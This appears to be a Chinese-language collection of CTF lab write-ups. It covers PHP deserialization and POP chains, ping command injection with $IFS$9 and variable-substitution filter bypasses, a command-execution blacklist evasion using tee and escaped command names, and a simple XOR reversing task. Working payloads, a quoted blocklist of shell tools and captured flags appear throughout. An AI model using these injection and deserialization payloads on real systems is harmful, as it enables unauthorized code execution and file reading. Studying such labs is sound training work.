[ZJCTF 2019]NiZhuanSiWei
上面代码,使用get上传了三个参数,在text者用力恒等于,然后就输出,接着第二个参数中出现flag就输出not now,接着第三个参数是反序了一下输出。
?text=data://text/plain,welcome to the zjctf
发现有回显
解码一下b64:
去反序列化
得到
&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}
然后输入:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}
右击查看源代码:
[SWPUCTF 2021 新生赛]pop
w44m
类里面的Getflag
函数可以用来读取flag,因此就将它作为这条链子的尾部。
$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。
上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。
w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
<?phpclass w22m{public $w00m;
public function __construct(){$this->w00m=new w33m(); }
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类
class w33m{public $w00m;public $w22m='Getflag';public function __construct(){$this->w00m=new w44m(); }
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数
class w44m{private $admin = 'w44m';protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>
php运行一下
在解一下URL编码
输入:http://node7.anna.nssctf.cn:22467/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
NSSCTF{35abf717-9b1f-49e6-a67a-33c64f9345ed}
[GXYCTF 2019]Ping Ping Ping
输入127.0.0.1的时候发现返回的是icmp的响应包,可以判断是ping
‘
但是过滤了很多东西,空格和这些标识符,那我们用引号试试
127.0.0.1;ls
可以查看出来
里面显示了flag和index我们都试试发现都不能查看
$IFS
本身是一个变量,$9
是位置参数(在一个脚本或函数中,$1
-$9
可以代表传递给脚本或函数的参数)。当它们组合在一起时,比如在eval
或者其他动态执行命令的场景下,可能会被误解。- 例如,如果有一个命令检查脚本,它会过滤掉
;
等危险字符,但是没有考虑$IFS
的特殊用法。攻击者可以构造一个类似command$IFS$9ls
的字符串。当这个字符串在某些处理不当的eval
环境中执行时,$IFS
可能会导致命令分隔,使得ls
命令被执行,从而绕过了对;
等直接分隔符的检查。
127.0.0.1;cat$IFS$9index.php
用$IFS$9绕过,先看看index.php里面源码写了啥 ,发现没有回显,查看一下源代码看看
/.*f.*l.*a.g./只要匹配到这四个字符组合在一起就显示fxck your flag!了
我们用赋值来进行绕过
127.0.0.1;q=g;cat$IFS$9fla$q.php
NSSCTF{475754b5-fc4d-4ea0-9467-31233c981ddd}
[SWPUCTF 2021 新生赛]finalrce
有一个GET请求,上传一个url赋值给$url 然后过滤/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i
, 要是出现就输出:Sorry,you can't use this
反之就输出:Can you see anything?
exec()
函数主要用于执行一个外部程序。
可以使用exec('ls -l')
来列出当前目录下的文件和目录的详细信息。在 Windows 系统中,你可以使用exec('dir')
来达到类似的效果(列出当前目录下的文件和文件夹) 。
先随便上传一个文件, ?url=l\s / | tee a.txt
tee: 利用这个命令让执行后的内容存到一个文件下然后去访问这个文件,从而实现间接的命令执行
然后直接访问a.txt
发现里面有flllllaaaaaaggggggg
这里绕过了cat可以使用ca\t nl sort tac tail等代替读取,另外因为过滤la所以是flllll\aaaaaaggggggg
/?url=tail /flllll\aaaaaaggggggg | tee a.txt
发现没有回显
直接访问a.txt试试
NSSCTF{6d36c041-76b9-48da-ab70-6efcaf4cc984}
[SWPUCTF 2021 新生赛]简简单单的逻辑
给了我们一个代码,来分析一下:
key = (list[i]>>4)+((list[i] & 0xf)<<4)
这是一个位运算操作,它实际上是在交换一个字节的高4位和低4位。让我们分解一下:
- list[i]>>4: 右移4位,获取原数字的高4位 例如:10110011 >> 4 = 00001011
- list[i] & 0xf: 与0xf(00001111)进行与运算,获取原数字的低4位 例如:10110011 & 00001111 = 00000011
- (list[i] & 0xf)<<4: 将获取到的低4位左移4位,变成高4位的位置 例如:00000011 << 4 = 00110000
- 最后将两部分相加,实现了高4位和低4位的交换
举个例子:
如果 list[i] = 0xAB (十六进制) = 10101011 (二进制) ,高4位是 1010 ,低4位是 1011 ,交换后变成 10111010
这种操作在密码学中经常用于简单的混淆。在这个程序中,它是解密算法的一部分,用于生成一个密钥,然后与flag进行异或运算。
result += str(hex(ord(flag[i])^key))[2:].zfill(2)
让我们一步步拆解:
- ord(flag[i]): ,ord() 函数将字符转换为其ASCII/Unicode值 例如:ord('A') = 65
- ord(flag[i])^key: , ^ 是异或运算符,将字符的ASCII值与之前计算的key进行异或运算
- hex(): ,将数字转换为十六进制字符串,例如:hex(65) = '0x41'
- str(hex(...)[2:]): ,[2:] 是切片操作,去掉十六进制字符串前面的 '0x',例如:'0x41' 变成 '41'
- .zfill(2): ,用零填充字符串到指定长度(这里是2),如果结果只有一位数,在前面补0,例如:'5' 变成 '05'
我们给反过来解析就能得到flag
flag += chr(int(result[2 * i:2 * i + 2], 16) ^ key)
这实际上是上一个加密过程的逆运算(解密过程),让我们一步步拆解:
- result[2 * i:2 * i + 2]: ,从result字符串中每次取2个字符,因为加密时每个字符被转换成2位十六进制数
- 例如:如果result='41424344',当i=0时取'41',i=1时取'42'
- int(x, 16): ,将十六进制字符串转换为十进制整数,第二个参数16表示输入的是十六进制
- 例如:int('41', 16) = 65
- int(...) ^ key: ,将转换后的数字与key进行异或运算,异或运算的一个特性是:A^B^B = A ,所以这里是在还原原始值
- chr(): ,将ASCII/Unicode值转换回字符
- 例如:chr(65) = 'A'
NSSCTF{EZEZ_RERE}